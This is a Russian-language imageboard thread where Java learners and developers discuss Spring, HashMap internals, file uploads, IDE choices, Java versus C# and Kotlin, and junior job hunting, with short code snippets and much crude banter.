Аноним 20/12/21 Пнд 13:52:00 2242744453
Анончик.. Я такой йолупень и даунич что ужас.
Я просто не понимаю ничего.

Я думаю проблемы в том, что я не знаю английский на б1.

Вот джава кор я разобрался.. Все эти коллекции, мапы, рекурсии..

Ну в бд запросы делать умею..

Ну во фронте на хтмл что-то могу наверстать..

А хули. Как все это обьеденить. Я не одупляю как спринг работает и у меня возникают такие вопросы, на которые гугл ответа не дает, пиздец блять.

Может я слишком тупой для этого?
Аноним 20/12/21 Пнд 14:12:55 2242773454
>>2242744
Нет, ты не тупой.

Вообще единственное самое главное и важное качество погромиста-упорство.

Просто знай, что если будешь сидеть ковырять-разбираться, то рано или поздно разберёшься во всем.
Аноним 20/12/21 Пнд 15:20:31 2242870455
А вы смотрите Сергея Немчинского?
Аноним 20/12/21 Пнд 15:32:48 2242877456
>>2242870
Нет, только хауди и хо.
Аноним 20/12/21 Пнд 15:37:23 2242881457
>>2242870
Я смотрю Карамбейби и Мейби Бейби.
Аноним 20/12/21 Пнд 15:49:18 2242889458
>>2242870
Кроме того, что он наглый инфоцыгынин и понтов было больше чем знаний даже в старых видосах, а сейчас по нему видно, что он уже кучу лет далек от продакшона.
>>2242881
>Карамбейби
топчик
Аноним 20/12/21 Пнд 16:22:20 2242924459
>>2242744
Да, всё так, топай на завод.
Аноним 20/12/21 Пнд 17:47:28 2243020460
Как правильнее всего передавать картинку на фронт через спринг бут в рестовой приложухе?
Пока только нагуглил и , как отдельным запросом от сущности отправлять массив байт :
@GetMapping(value = "/get-image-with-media-type",
produces = { MediaType.IMAGE_JPEG_VALUE, MediaType.IMAGE_PNG_VALUE, MediaType.IMAGE_GIF_VALUE })
public @ResponseBody byte[] getImageWithMediaType() {}
Еще про мультипарт вроде читал.
И через base64 прямо в json.
20/12/21 Пнд 17:50:34 2243025461
>>2243020
Правильнее всего навернуть nginx, чтобы он раздавал картинки.
Есть ещё метод addResourceHandlers в WebMvcConfigurer.
Ну и байтики из контроллера
Аноним 20/12/21 Пнд 18:11:00 2243056462
>>2232293 (OP)
В какой сфере работают люди на Java?
Насколько актуален этот язык в Android-разработке? Пора на Kotlin перекатываться?
Аноним 20/12/21 Пнд 18:17:09 2243064463
>>2243056
99% проектов по прежнему пишутся на Java, а не на Kotlin. Просто разработчики Kotlin как веганы, их мало, но они больше всех воняют.
Аноним 20/12/21 Пнд 19:52:18 2243185464
>>2242036
Ты не прав! Я смотрел мотивационное видео и там сказали, что любой может стать программистом.
Аноним 20/12/21 Пнд 20:31:52 2243244465
>>2243185
Любой коме тебя, очевидно.
Аноним 20/12/21 Пнд 20:45:03 2243260466
>>2243244
Я собираюсь 2 недели учить джаву, чтобы понять её плюсы и минусы, чтобы выбрать между сишарпом и джавой.
20/12/21 Пнд 20:51:18 2243266467
>>2243260
Зачем тратить две недели на ерунду? Очевидно же, что ява мертва.
Аноним 20/12/21 Пнд 20:51:57 2243269468
>>2243260
Это шутка такая? Познать за две недели особенности языка?

Остальное ты уже выучил? Databases, git, oop, virtualization, rest, data structures?
Аноним 20/12/21 Пнд 21:00:42 2243275469
>>2243260
Шарп, JVM в бане в любом приличном европейском айти бизнесе.
Аноним 20/12/21 Пнд 22:22:36 2243353470
>>2243260
Что тут выбрать, очевидно шарп лучше во всём.
Аноним 21/12/21 Втр 04:26:13 2243516471
Форс шарпа это мем или бот какой то? Или просто поехавший?
Года полтора сижу в треде и одно и тоже. Хотя заметил, что и вне харкача - в комментах на Ютубе или Хабре какой комментаторы вечно при разговоре про джаву без повода начинают эту хуиту про шарп лучше. Как будто промытые.
Аноним 21/12/21 Втр 04:56:23 2243518472
>>2243516
Надо как-то вкатышей убирать, чтобы не демпинговали, с хаскеллом и ассемблером слишком толсто получается
Аноним 21/12/21 Втр 05:29:47 2243526473
>>2243516
Зарплатные от мелко мягких отрабатывают наверное
Аноним 21/12/21 Втр 05:51:43 2243527474
>>2243526
Причем реальные медийные шарписты естественно считают, что шарп лучше. Но вот этой шизы с моментальным триггером на упоминание джавы у них нету. Обычно это вкатунцы в шарпец так шизеют.
Аноним 21/12/21 Втр 08:01:29 2243544475
>>2243516
Не ну шарп и правда лучше, как язык. Говорю это как писавший много лет на шарпе и сейчас пишущий на джаве. Джава сейчас это как примерно шарп 2.0 15-ти летней давности.

Но шарп не особо взлетел, так что джава.
21/12/21 Втр 08:23:43 2243548476
>>2243544
> Не ну шарп и правда лучше
Даже если шарп - лучший язык всех времён и народов, какое отношение его обсуждение имеет к жабе? Зачем в этом треде срать оффтопом?
Аноним 21/12/21 Втр 08:36:07 2243550477
Нужно ли джуну учить спринг? Или достаточно прочитать книжку Философия Джавы и можно идти на собес?
Аноним 21/12/21 Втр 08:43:54 2243554478
>>2243550
Скажи, как ты это себе представляешь? Все на работе будут писать бэкенд, и только джунам дают задачки с кором, консолью м файликами за 50 строчек?
Аноним 21/12/21 Втр 09:06:53 2243560479
>>2243554
Джуну дают задание написать какую-нибудь функцию и сразу говорят, что она принимает, что возвращает.
21/12/21 Втр 09:09:24 2243561480
>>2243560
Это так не работает
Аноним 21/12/21 Втр 09:13:37 2243565481
>>2243560
А миддл может сам придумать сигнатуру метода? А сеньор может сам написать класс?
Аноним 21/12/21 Втр 09:17:57 2243566482
>>2243565
Да, миддлы пишут классы, но конкретные реализации методов пишут джуны. Сеньоры распределяют классы по миддлам.
Аноним 21/12/21 Втр 10:31:48 2243594483
>>2242924
Нахуя мне ваш завод?
Я работаю с кафом сисадмином и просто хочу большего, чем у меня есть.
Аноним 21/12/21 Втр 11:24:33 2243630484
>>2242658
Я жабу хочу и денек зарабатывать) Ща в Андерсон тыкнулся, грят с Барнаула не нужны, часовой пояс не тот. Так и что, план откликаться на вакансии с Москвы, еси отзовутся, пройти собеседование и с кем нибудь ебашить в нерезиновую?
Аноним 21/12/21 Втр 11:25:12 2243631485
Аноним 21/12/21 Втр 11:27:15 2243632486
>>2243064
Весь новый андроид пишется на котлине. А стары понемногу переписывается. Но android и java server side это вообще разные вселенные.
Аноним 21/12/21 Втр 11:53:41 2243647487
>>2243632
Котлин по синтаксису как Паскаль. Только бегин/енд не хватает для полного сходства. В чём проблема была сделать С-подобный язык?
Аноним 21/12/21 Втр 11:54:44 2243648488
>>2243647
> Паскаль
Наркоман? Это из-за типов после имён?
Аноним 21/12/21 Втр 11:55:15 2243651489
>>2243648
Да, это паскаль-стиль
Аноним 21/12/21 Втр 11:56:58 2243654490
>>2243631
Я вообще ни слова не понимаю у этого Евгения Борисова
Аноним 21/12/21 Втр 12:15:17 2243663491
>>2243654
Про спринг рассказывает с юморком, очевидные вещи целый час может рассусоливать
Аноним 21/12/21 Втр 12:28:02 2243677492
>>2243663
Про мохито я не понял.
Аноним 21/12/21 Втр 12:35:51 2243682493
image 13Кб, 747x358
747x358
Почему так может быть? Раньше нормально было. В переменных среды установлено JDK_JAVAC_OPTIONS "-encoding UTF8". Шрифт Lucida Console, в повершелле то же самое, у сорс-файла кодировка UTF-8
Аноним 21/12/21 Втр 12:45:37 2243692494
>>2243682
У тебя ошибка не в кодировке, а отсутствии ';' в конце.
Аноним 21/12/21 Втр 12:53:44 2243697495
>>2243682
Венде похуй на твои кодировки. Её нужно менять в самом cmd
Аноним 21/12/21 Втр 13:07:53 2243724496
Аноним 21/12/21 Втр 15:07:51 2243917497
>>2243630
Если нацелен на москвабад лучше всего вообще поменять в профиле город на него.
Ну и мертвый сезон начался, привет. Еще недели 4 нет смысла ебать мозги насчет поиска работы.
Аноним 21/12/21 Втр 15:20:16 2243943498
>>2243917
А потом начнут расхватывать вкатунов как горячие пирожки?
Аноним 21/12/21 Втр 15:29:27 2243968499
>>2243943
Нет конечно, но до конца января я бы рыпаться не стал. Лучше вместо дроча хх подрочи жабу, спринг и хибер. Напиши петпроектик. Покушай салатик
Аноним 21/12/21 Втр 15:32:51 2243974500
26 летний жук плавунец на связи. Есть ли шанс вкатиться в ДС? Прогал на питоне и матлабе всякую десктопную хуйню 3 года, сам инженер из даунки. Или я уже слишком стар?
Аноним 21/12/21 Втр 15:40:42 2243990501
>>2243974
Есть. Учи java, maven, junit, sql, hibernate, spring(core/mvc/data/securty), html/css/js. Это наверно мастхев, полюс еще пару-тройку технологий по выбору.
Если кодил на питухоне основы sql, html/css/js, mvc-паттерн должен знать.
Аноним 21/12/21 Втр 15:54:27 2244010502
Эх, в январе как вкачусь как вкачусь на новую работу. Буду пить дорогой виски и куплю воображаемой телке ремень от гуччи.
Аноним 21/12/21 Втр 16:15:37 2244035503
Ну наконец-то блять.
21/12/21 Втр 16:21:42 2244045504
Выдыхаем
Аноним 21/12/21 Втр 16:24:52 2244048505
>>2243266
>>2243269
>>2243353
Это методика Сергея Немчинского. Учишь новый язык 2 недели, чтобы понять плюсы и минусы и хочешь ли дальше на нём программировать.

>>2243275
JVM с разогретым кэшем обгоняет по тестам не только CLR, но даже скомпилированный код на С++.
Аноним 21/12/21 Втр 16:32:56 2244052506
>>2244048

Так то перед джавой я три дня изучал пхп, 5 дней питон, мне не зашло. Ну основы с циклами и бинарной сортировкой я на си с cs50 прошел. Когда заточил джвакор неделю посвятил андроеду. Не зашло. И потом взял спринг.
Так что получилось по цыгану-немчинскому.
Аноним 21/12/21 Втр 16:56:29 2244074507
>>2243968
Спасибо за совет про город!) Про устройство понимаю, что конец декабря/январь все закрывают год и потом бухают/отдыхают. Теорию итак стараюсь сча читать и вникать. Сегодня с горя из-за отказа Андерсона вот пшенички набрал с сыром-косичкой, нахуярюсь. Какой пет писать? Хуйня по типу "добавлять/отдавать какие-ниудь товары и выводить их количество" есть на спринге, crud для файлов тоже есть, там даже всякие jwttoken'ы для авторизации через фронт.
Аноним 21/12/21 Втр 17:23:23 2244098508
>>2243275
>JVM в бане в любом приличном европейском айти бизнесе
Диван спок. Как человек который в той самое европе и работает могу сказать, что сярп тут практически не распространен. Мейнстрим для бека жава, нода, го, чуть меньше питона. Весь крупный финтех это джава.
Аноним 21/12/21 Втр 17:26:03 2244100509
>>2244048
>но даже скомпилированный код на С++
Ты тут полегче, если обгоняет то херовый код на С++. Так-то у С++ больше возможностей для улучшения перформанса, но и ебли это требует больше.
Аноним 21/12/21 Втр 17:30:08 2244101510
16372141683560.jpg 119Кб, 707x1000
707x1000
>>2244098
Зачем ты так, дотнет очень даже популярен в европе: государственные учреждения с скриптами на vb.net ждут своих героев!
Аноним 21/12/21 Втр 19:42:16 2244279511
>>2244048
Так и запишем: Сергей Немчинский - дурачок. Удачи за две недели разобраться во всём многообразии хоть какого-нибудь языка
Аноним 21/12/21 Втр 20:30:52 2244339512
>>2244279
А зачем все разнообразие? Хелловорда + 2-3 самых базовых для этого языка тем хватит, чтобы понять, что язык тебе не нравится.
Аноним 21/12/21 Втр 21:20:07 2244405513
Я создаю HashMap<A, Integer>. A у меня имплепентирует Comparable<A>. Почему при попытке извлечь элемент не происходит вызов compareTo?
Аноним 21/12/21 Втр 22:47:55 2244503514
Аноним 21/12/21 Втр 22:58:02 2244520515
>>2244405
Если ты про коллизии, поиск в бакетах идёт линейно через последовательный вызов equals(), а не через сравнение в каком-нибудь бинарном поиске.
Аноним 22/12/21 Срд 03:51:44 2244739516
>>2243630
Андерсен неоче, не иди туда. я там работаю, лел.
Аноним 22/12/21 Срд 03:53:58 2244741517
>>2243974
Я пол года назад вкатился, недавно вот 32 годика стукнуло по самооценке.
Аноним 22/12/21 Срд 10:07:30 2244833518
>>2244739
так туда и не берут
Аноним 22/12/21 Срд 10:08:26 2244834519
>>2244741
рассказывай как (скок отказов было и собесов), куда и на сколько денег)))
Аноним 22/12/21 Срд 11:28:15 2244891520
Кто-то использует идею, без мышки и без стрелочек?
Вот я недавно немножно задрочил 10-ти пальцевый метод и мне стало неприятно пользоваться мышкой и стрелками. По стрелкам мне посоветовали плагин емакса/вима или свои шорткаты придумать. А вот чтобы лазать по проекту, по плагинам с базой/мавеном, тулам с гитом/терминалом/етк вроде есть куча шорткатов. Это вообще удобно? На все что нужно есть шорткаты?
Есть кто этим пользуется? Стоит игра свеч на заучивание шорткатов?
Аноним 22/12/21 Срд 11:49:45 2244925521
Аноним 22/12/21 Срд 11:54:01 2244931522
Аноним 22/12/21 Срд 12:04:39 2244938523
>>2244405
как хешмапа связана с компараблом?
Аноним 22/12/21 Срд 12:07:44 2244943524
>>2244739
Меня туда звали осенью, мне проект не понравился и я слился

>>2244891
Конечно удобно
Аноним 22/12/21 Срд 12:11:22 2244946525
>>2244943
>Конечно удобно
В идее есть плагин для помощи в заучивании шорткатов. Ты не пользовался им?
Аноним 22/12/21 Срд 12:25:58 2244958526
кстати что по стажёрской проге "РАЗРАБОТЧИК JAVA" Ланита скажете?
Аноним 22/12/21 Срд 12:38:43 2244970527
>>2244946
Нет, я распечатал бумажку с шорткатами, повесил рядом и смотрел. Но плагин вообще удобный, рекомендую
Аноним 22/12/21 Срд 12:55:56 2244993528
>>2244943
>Меня туда звали осенью, мне проект не понравился и я слился
Под проект собеседовали? Или до собеса не дошло.
Аноним 22/12/21 Срд 13:00:05 2244997529
>>2244993
А не, извиняюсь, перепутал. До собеса не дошло, да, просто отказал. Было лень собеседоваться
Аноним 22/12/21 Срд 13:24:54 2245016530
>>2244520
Если жаба свежая и коллизий в бакете много трешхолд 8, по моему, то compareTo() будет вызываться.
Аноним 22/12/21 Срд 13:35:22 2245030531
image.png 206Кб, 1327x852
1327x852
Сап, анон. Помоги...Я не понимаю, где задачи решать?

https://stepik.org/course/90684 - этот курс я прошел, прорешал все задачи.

А с ООП мне где искать задачи?
https://www.examclouds.com/ru/java/java-core-russian/lesson7-tasks - я нашел только это. Но тут задачи уровня "Создай класс, создай экземпляр класса, создай интерфейс."

Я это умею делать, дальше что?

Алишева навернул целиком его плейлист по джава кор.

Если я могу делать то, что дано на скрине, значит тему коллекций я понял и могу дальше идти?


Вообще нихуя непонятно с этой практикой. Приходится весь интернет перекапывать. На codingbat ООП нихуя нет, на подобных сайтах тоже. codewars для отбитых задротов.


Постоянно хочется бросить всё это дело, потому что всё слишком хаотично, структуры изучения нет...Можете меня слать на хуй.
Аноним 22/12/21 Срд 13:39:50 2245039532
>>2245030
Пошёл на хуй

Вообще тема коллекций довольно обширная. Кто-то скажет, что если ты всё что на скрине написано умеешь, то ты понял коллекции. А кто-то скажет, что пока ты сам своими руками не напишешь имплементации популярных коллекций то ты нихуя не понял в этой жизни

Как таковых задач на ООП не существует. Можешь все классические паттерны в коде реализовать, вот тебе задачи на ооп
Аноним 22/12/21 Срд 19:34:15 2245386533
Анон подскажи как реализовать сохранение файлов на сервер. Если я их загружаю в папку ресурсов , то они подгружаются тольок после редеплоя томката. Как Сохранять сразу на сервер ?
Аноним 22/12/21 Срд 19:40:09 2245388534
>>2245386
Потому что ресурсы не предназначены для записи, только для чтения из собранного архива.
С файлами работать по тупому, через FileWriter и прочие штуки из кора.
Аноним 22/12/21 Срд 19:43:52 2245392535
>>2245388
Дак а как мне их заставить отображаться в html коде. Там же путь до папки ресурсов ведет, где по идее пикчи лежат. Может можно настроить относительный путь как нибудь , что бы оно на серв в папку записывалось, а не в проект.


Сейчас вот так сохраняю.

img = new FileOutputStream("C:\\Users\\yranikus\\IdeaProjects\\fgjhfdj\\src\\main\\webapp\\resources\\images\\toilets\\"
+ jsonpoint.getName() + ".jpeg");
img.write(convertByte);
img.close();
22/12/21 Срд 20:15:03 2245409536
Аноним 22/12/21 Срд 20:17:01 2245411537
Аноним 22/12/21 Срд 20:36:28 2245427538
>>2245411
Тебе для чего? По хорошему тебе нужен слой файлового хранилища типа NFS. Папка ресурсов для другого предназначена. Если для себя, то ты же сам описал способ сохранения через FileOutputStream
Аноним 22/12/21 Срд 20:59:07 2245446539
>>2245427
Ну дак это костыль, я прописал сохранение в директорию томката. Стало работать. Но как быть если деплоить сайт куда то ?
Аноним 22/12/21 Срд 21:00:20 2245447540
image.png 25Кб, 451x592
451x592
>>2245427
Папка ресурсов там кстати не та , которая в идее создается .
22/12/21 Срд 21:53:20 2245469541
>>2245411
Как угодно. Например, Files.write(Path.of("C/govno/mocha/pictures", imageBytes). Раздаешь картинки оттуда же
Аноним 22/12/21 Срд 22:03:56 2245472542
>>2245469
Почему в волшебном спринге нет готовой магии для этого?
Аноним 22/12/21 Срд 22:06:58 2245473543
Если при вставке в HashMap<A, Integer> hm происходит вставка
var a = new A();
hm.put(a, 1);
hm.put(a, 2);

то как карта понимает, что надо заменять значение? При первой вставке вычисляется хэш-код объекта а, и в массив бакетов по индексу a & (длина массива - 1) вставляется ссылка на бакет с этой парой (a, 1). При второй вставке снова вычисляется хэш код (то же самое число), но как карта без вызова equals() понимает, что надо заменять 1 на 2? В интернете пишут, что HashMap сравнивает значение, а не ссылки. Как она это делает без вызова equals?

public class Main {
public static void main(String[] args) {
Map<A, Integer> hm = new HashMap<>();

var a = new A();

hm.put(a, 1);
hm.put(a, 2);
}
}

class A {
@Override
public int hashCode() {
System.out.println("hashCode() is called");
return super.hashCode();
}

@Override
public boolean equals(Object obj) {
System.out.println("equals() is called");
return super.equals(obj);
}
}

Этот код показывает, что вызов equals не происходит. Что я понимаю не так?
22/12/21 Срд 22:08:27 2245477544
>>2245472
Потому что это 2 строчки. В спринге есть магия на раздачу статики
Аноним 22/12/21 Срд 22:11:46 2245479545
>>2245477
Надо 0 строчек, чтобы всё через конфиг. Чтобы приложуху надо было не программировать, а конфигурировать.
22/12/21 Срд 22:24:01 2245486546
>>2245479
Тогда тебе стоило выбрать Salesforce/sap
Аноним 22/12/21 Срд 22:40:11 2245498547
>>2245473
Легче пробежаться дебагом по кишке вызовов, потом расскажешь
22/12/21 Срд 23:16:39 2245520548
>>2245479
Напиши свой бут стартер и выложи на гитхаб.
Аноним 22/12/21 Срд 23:27:50 2245529549
22/12/21 Срд 23:52:08 2245536550
>>2245473
Скорее всего, там сначала ссылочное равенство, а уже потом equals. Попробуй сделать то же самое, только для 2-х объектов
Аноним 23/12/21 Чтв 00:19:48 2245551551
Screenshot from[...].png 127Кб, 850x1001
850x1001
>>2245473
>>2245536
Ребята, вы чего, не можете заглянуть в исходники? Там же всё написано 631 и 644 строка. В функции добавления в бакет в виде дерева по идее то же самое

>if (e.hash == hash && ((k = e.key) == key || (key != null && key.equals(k))))
Аноним 23/12/21 Чтв 08:50:50 2245652552
>>2245551
> не можете заглянуть в исходники?
Ну ты выдал конечно. Предложи спринг конфигураторам еще и код самим писать.
Аноним 23/12/21 Чтв 09:07:49 2245664553
>>2245652
Код-то мы можем читать и дебажить, а вот писать не хотим. Этим должен заниматься волшебный фреймворк, иначе зачем он вообще нужен?

Спринг-конфигуратор
Аноним 23/12/21 Чтв 18:26:53 2246150554
Аноним 23/12/21 Чтв 18:30:48 2246158555
Что тут не так?
public static String longest (String s1, String s2) {
return s2.concat(s1)
.chars()
.mapToObj(i -> (char) i)
.distinct()
.sorted()
.toString();
}
Аноним 23/12/21 Чтв 18:42:21 2246173556
В общем, думаю, что определился с Джавой.
Плюсы:
- обилие качественной литературы
- реальная кроссплатформенность
- язык довольно стабильный, поэтому можно учить даже по старым книгам

Минусы:
- тип byte - знаковый (в каком больном мозгу возникла идея так сделать?)
- сложность настройки платформы как для разработчика, так и для конечного пользователя
- слабые десктопные библиотеки
- отсутствие хороших бесплатных IDE
- вакансии только на бэкенд

Как итог возвращаюсь обратно в сишарп и дотнет, поэтому что язык и платформа более перспективные, есть куча фреймворков из коробки, область применения покрывает всё прикладное программирование.
23/12/21 Чтв 18:50:37 2246190557
>>2246173
>- отсутствие хороших бесплатных IDE
Понятно, толстота.
23/12/21 Чтв 19:49:07 2246267558
>>2246173
В этот раз уже получше
Аноним 23/12/21 Чтв 20:14:07 2246291559
>>2246190
Все сидят на платной IDEA от JetBrains
Аноним 23/12/21 Чтв 23:08:19 2246424560
Аноним 24/12/21 Птн 05:14:57 2246552561
Задеплоил свой сайт на хероку и обнаружил что странички , на которых использовн таймлиф ,стали грузиться по 1.5 секунд. Прям заметна подгрузка. Таймлиф подгружает из бд поля. Вопрос в том это я такой говнокодер и хуйни написал , которая грузится тыщу лет. Или это хероку говно? Когда тестил на локалхосте такого не было.
Аноним 24/12/21 Птн 08:47:08 2246584562
>>2246552
Бесплатный хероку засыпает, если к нему не обращаться. И просыпается даже дольше полутора секунд. А так не особо тормозной.
Плюс если ты там сделал хероку сервак, не европейский, а американский, который по умолчанию, то там задержка будет большая.
Аноним 24/12/21 Птн 09:26:10 2246596563
Парни, что по реактивному спрингу? Кто пользуется, расскажите в чем прикол?
Аноним 24/12/21 Птн 09:48:41 2246600564
>>2246424
Считается, что это самая крутая IDE для Java
Аноним 24/12/21 Птн 11:03:42 2246653565
Аноним 24/12/21 Птн 11:06:43 2246657566
Эх, вот бы в вижуалстудию поддержку жабы.
Аноним 24/12/21 Птн 11:07:30 2246658567
>>2246657
Для начала нужно вижлу портировать на линукс
Аноним 24/12/21 Птн 12:15:21 2246704568
>>2246657

Нахуя? Чё не так с идеей?
Аноним 24/12/21 Птн 12:19:20 2246706569
>>2246173

> - отсутствие хороших бесплатных IDE
Чем тебе не нравится IDE IntelliJ IDEA Community Edition?
Аноним 24/12/21 Птн 13:05:56 2246733570
Пилю приложение для определенного города, нужно хранить улицы с привязкой к району. Стоит ли делать отдельную таблицу под районы или можно их хранить как перечисление? Как часто вообще добавляют новые районы в городах?
Аноним 24/12/21 Птн 13:29:29 2246742571
>>2246733
Как бы редко районы ни добавляли, эти данные нельзя хардкодить, они всегда должны тянуться из таблицы-справочника, а не быть частью модели данных, чтобы вообще никогда не надо было править код.
Аноним 24/12/21 Птн 13:30:59 2246745572
>>2246706
Там все функции вырезаны по сравнению с платной версией. Это просто обрубок, подачка от JetBrains. Тип, ладно, берите, нищуки, всё равно спиратите, но мы вам вырежем все важные фичи. Я вот просто ощущаю как мне плюнули в рожу.
Аноним 24/12/21 Птн 13:34:52 2246752573
Аноним 24/12/21 Птн 13:58:15 2246782574
Аноним 24/12/21 Птн 13:58:45 2246783575
>>2246600
Комьюнити версия для Java не хуже.
Аноним 24/12/21 Птн 14:03:58 2246788576
>>2246745
Каких функций тебе не хватает? Какое то время стояла эта ультимейнт и кроме тормознутости из-за 100500 плагинов профитов не заметил.
Аноним 24/12/21 Птн 14:19:43 2246798577
Как правильно логировать время выполнения приватных методов?
Аноним 24/12/21 Птн 17:05:08 2246951578
>>2246158
1. Название функции говно, она делает совсем не то.
2. Вместо toString() надо делать collect()
public static String distinct(String s1, String s2) {
return s2.concat(s1)
.chars()
.distinct()
.sorted()
.mapToObj(Character::toChars)
.map(String::new)
.collect(Collectors.joining());
}

Ну или немного оптимизировано
public static String distinct(String s1, String s2) {
return s2.concat(s1)
.chars()
.distinct()
.sorted()
.collect(
StringBuilder::new, (builder, i) -> builder.append((char) i), StringBuilder::append)
.toString();
}
Аноним 24/12/21 Птн 17:14:05 2246959579
>>2246657
>Эх, вот бы в вижуалстудию поддержку жабы.
Поблевать захотелось? Ну так качай там есть поддержка джавы https://visualstudio.microsoft.com/ru/

>>2246745
>Я вот просто ощущаю как мне плюнули в рожу.
А ты предпочитаешь чувствовать член Сатьи в жопе? Это дерьмо даже в бесплатной версии требует заводить аккаунт и принимать соглашение, что майки иногда будут тебе присовывать, обещают неглубоко, на пол шишечки.
Аноним 24/12/21 Птн 17:36:47 2246967580
>>2246959
> Ну так качай там есть поддержка джавы
Ты ведь в курсе, что убогая электронная недопараша вскод имеет примерно такое же отношение к божественной вижуалстудии, какое джаваскрипт имеет к джаве?
Аноним 24/12/21 Птн 18:30:53 2247037581
>>2246967
Я думал что в вижал параша, поддерживает жаву по сайту выглядит как будто поддерживает.

Ну и похуй, такое говно, да еще с анальным зондом, все равно не нужно.
Аноним 24/12/21 Птн 19:44:48 2247077582
>>2247037
В code завезли поддержку stdin из IDE?
Аноним 24/12/21 Птн 19:51:52 2247081583
>>2247077
Не ябу, у меня идея.

Зато помню что в вижал параше 2019 не поддерживалась интерполяция строк для питона.
Аноним 24/12/21 Птн 21:34:43 2247157584
Зачем в CompletableFuture нужны методы типа thenRunAsync, thenApplyAsync помимо версий без *Async? Чтобы можно было исполнять этот этап в другом потоке (через другой экзекьютор)?
Аноним 24/12/21 Птн 21:43:20 2247168585
>>2247157
>Чтобы можно было исполнять этот этап в другом потоке (через другой экзекьютор)?
Поразительно. Как ты догадался?
Аноним 24/12/21 Птн 22:17:07 2247198586
Аноним 25/12/21 Суб 09:16:53 2247379587
Как хранить в джава массив байт? Дело в том, что тип byte знаковый, а значит он не сможет хранить значения от 128 до 255.
Аноним 25/12/21 Суб 09:30:41 2247383588
>>2247379
И что? В плюсах на самых распространённых реализациях тип char тоже знаковый, и никому это байтоёбить не мешает.
Аноним 25/12/21 Суб 09:41:16 2247388589
>>2246782
>>2246783
>>2246788
Нет поддержки спринга, а значит нельзя выучиться на профессионального джава разработчика, не заплатив.

>>2246959
В вижле доступны все фреймворки. В том числе и ASP.NET, который используется в реальной разработке. Регистрация бесплатная и получаешь полный доступ, а у жидбрейсов регистрация даёт только 30-дневную демоверсию.
Аноним 25/12/21 Суб 10:26:36 2247414590
>>2247383
В плюсах есть полный набор знаковых и беззнаковых типов, а также полноценная битовая математика, а в джаве всё в усечённом варианте. Тем более в плюсах я могу что угодно писать в память, беря на себя ответственность за последующую интерпретацию, а в джаве получу райнтайм еррор на лицо.
Аноним 25/12/21 Суб 12:04:45 2247451591
>>2247388
Тот согласен, спринг вайтишники должны расплачиваться за своё скудоумие.
Аноним 25/12/21 Суб 15:47:07 2247600592
>>2247451
В чем логика? Писать и бесконечно отлаживать велосипеды которые будут всю дорогу ронять прод? Я не понимаю.
Аноним 25/12/21 Суб 15:48:38 2247605593
>>2247388
>Нет поддержки спринга, а значит нельзя выучиться на профессионального джава разработчика, не заплатив.
В голос просто.


>В вижле доступны все фреймворки. В том числе и ASP.NET, который используется в реальной разработке.
Используй все что хочешь, просто поддержка на уровне IDE ограничена. Но если ты такой безрукий ставь Spring IDE и ебись с ней.


>Регистрация бесплатная и получаешь полный доступ, а у жидбрейсов регистрация даёт только 30-дневную демоверсию.
Наркоман что ли? У идеи комьюнити регистрация вообще не требуется, качай и ставь. А вот вижал параша комьюнити, без регистрации проработает 30 дней, а потом будь добр зарегистрироваться и отчитаться перед Сатьей хули ты там кодишь.
Аноним 25/12/21 Суб 15:49:42 2247607594
>>2247600
Пиши так чтобы не ронять прод.
Аноним 25/12/21 Суб 15:51:09 2247610595
>>2247607
Зачем? Я велосипеды в петпроектах для себя могу написать, а на работе я хочу чтобы все было просто и работало.
Аноним 25/12/21 Суб 15:52:32 2247611596
>>2247610
На какой работе, ты же безработный вкатун думающий что иде это грааль.
Аноним 25/12/21 Суб 15:53:49 2247614597
Аноним 25/12/21 Суб 16:02:09 2247624598
Аноним 25/12/21 Суб 16:02:52 2247626599
>>2247624
Каждый раз HTTP-сервер с нуля пишешь в виме?
Аноним 25/12/21 Суб 16:21:54 2247654600
Берут ли новичков Java на удалёнку?
Аноним 25/12/21 Суб 16:25:08 2247659601
>>2247654
Редко. Сложно менторить, если чел застрял на чем-то то пройдет время прежде чем поймешь что у него проблема. Объяснять по слаку сложнее чем лично. Ну и вообще не понятно, сможет ли чел работать самостоятельно это же первая работа.
Аноним 25/12/21 Суб 18:53:25 2247802602
>>2247379
Ну дак решают такую проблему в джаве? Есть синьоры-помидоры в чяти?
25/12/21 Суб 19:02:38 2247808603
Аноним 25/12/21 Суб 19:06:26 2247810604
>>2247808
Тратить 2 байта вместо 1 байта для хранения значений от 0 до 255?
Аноним 25/12/21 Суб 19:11:29 2247814605
>>2247810
Использовать 1 байт для хранения 8 бит вместо "значений от X до Y"?
Аноним 25/12/21 Суб 19:11:38 2247815606
formData.PNG 153Кб, 1764x883
1764x883
Почему не пашет? Джексон не парсит сам объекты внутри формДаты?
Или подскажите как передать с фронта объект + файл одним запросом через аджакс.
Аноним 25/12/21 Суб 19:14:54 2247818607
Аноним 25/12/21 Суб 19:17:06 2247820608
>>2247814
В какой тип его можно запихать? byte знаковый и если туда запишешь число больше 127, то получаешь рунтайм еррор!
Аноним 25/12/21 Суб 19:18:11 2247821609
Появилась мысль по приколу выучить форт или лисп после джавы. Сложно будет?
Аноним 25/12/21 Суб 19:18:19 2247822610
>>2247820
В byte. Запихивать надо правильно.
Аноним 25/12/21 Суб 19:19:45 2247826611
>>2247821
Легко, но бессмысленно.
Аноним 25/12/21 Суб 19:28:23 2247836612
>>2247818
Так файл как раз без проблем принимается тем говнокодом. А вот объект не парсится, говорит, мол это строка.
Причем вот файл + строки норм парсятся, а так нихуя.
25/12/21 Суб 19:32:59 2247842613
>>2247836
Потому что ты ожидаешь мультипарт получить, а не жсон. Делай двумя запросами
Аноним 25/12/21 Суб 19:41:00 2247847614
>>2247822
Операция запихивания и выпихивания будут накладывать дополнительные расходы и код будет тормозить.
Аноним 25/12/21 Суб 19:44:08 2247850615
>>2247836
В мультпарт можно несколько объектов засунуть.
Аноним 25/12/21 Суб 19:45:29 2247851616
>>2247842
А джесйон внутри мультипарта никак нельзя? Или что-то вроде этого сделать.
Двумя запросами будет не очень. Там у картинки и объекта общая логика сохранения. Уж лучше попробовать просто перечислить все поля. Правда у меня потом внутри объекта-дто будут массивы, приходящие с фронта.
Аноним 25/12/21 Суб 20:00:03 2247863617
ubyte.jpg 12Кб, 282x182
282x182
Аноним 25/12/21 Суб 20:01:22 2247865618
Аноним 25/12/21 Суб 20:07:04 2247868619
>>2247865
Над калечное джавой без беззнаковых типов?
Аноним 25/12/21 Суб 20:07:12 2247870620
Аноним 25/12/21 Суб 20:07:48 2247871621
Аноним 25/12/21 Суб 20:07:55 2247872622
>>2247868
над додиком которого в гугле забанили
25/12/21 Суб 20:26:06 2247883623
>>2247851
